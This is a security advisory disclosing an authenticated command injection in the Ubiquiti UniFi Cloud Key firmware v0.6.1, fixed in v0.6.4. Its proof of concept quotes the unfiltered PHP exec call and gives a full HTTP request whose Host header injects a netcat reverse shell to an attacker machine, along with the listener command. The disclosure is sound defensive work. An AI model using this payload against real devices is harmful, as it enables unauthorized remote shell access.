SEC Consult Vulnerability Lab Security Advisory < 20170804-1 > ======================================================================= title: Authenticated Command Injection product: Ubiquiti Networks UniFi Cloud Key vulnerable version: Firmware v0.6.1 fixed version: Firmware v0.6.4 CVE number: impact: High homepage: https://www.ubnt.com found: 2017-03-26 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Ubiquiti Networks develops high-performance networking technology for service providers and enterprises. Our technology platforms focus on delivering highly advanced and easily deployable solutions that appeal to a global customer base in underserved and underpenetrated markets." Source: http://ir.ubnt.com/ Business recommendation: ------------------------ SEC Consult recommends not to use this device in production until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: ----------------------------------- A command injection can be triggered via the hostname header in the status GET request. This vulnerability can be exploited when the Cloud Key web interface is exposed to the Internet and an attacker has credentials to it. Proof of concept: ----------------- The following PHP snipplet is responsible for the command execution vulnerability: (api.inc, line 265) ------------------------------------------------------------------------------- [...] function is_unifi_running() { if (!isset($_SERVER['HTTP_HOST'])) { $c_host = $_SERVER['SERVER_ADDR']; } else { $c_host = $_SERVER['HTTP_HOST']; } $unifi_href = 'http://' . $c_host . ':8080/status'; exec(CMD_CURL . $unifi_href, $out, $rc); if ($rc == 0) { return true; } return false; } [...] ------------------------------------------------------------------------------- Since '$c_host' is not filtered, a command injection is possible. The following GET request was used to open a reverse-shell via command injection from the Cloud Key system (192.168.0.30) to the attacker (192.168.0.3): ------------------------------------------------------------------------------- GET /api/status HTTP/1.1 Host: 192.168.0.30;busybox nc 192.168.0.3 8999 -e bash; User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 X-Access-Token: <Token> Referer: https://192.168.0.30/login Cookie: CKSESSIONID=<Session-ID> Connection: close ------------------------------------------------------------------------------- As the listener, netcat was used: $ nc -lvp 8999 Vulnerable / tested versions: ----------------------------- Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version was the latest at the time the security vulnerabilities were discovered. Vendor contact timeline: ------------------------ 2017-03-29: Contacting vendor via HackerOne. Vendor sets status to "Triaged". 2017-04-24: Asking for a status update; No answer. 2017-05-06: Found update 0.6.4 on the website of the vendor. 2017-05-15: Contacted vendor via e-mail and asked for status. 2017-05-16: Vendor closed the ticked and changed the status to resolved. Current firmware version was v0.6.4. Set the publication date to 2017-08-04 (at least 90 days after fix). 2017-08-04: Public release of security advisory Solution: --------- Upgrade to v0.6.4 or above. Workaround: ----------- None Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF T. Weber / @2017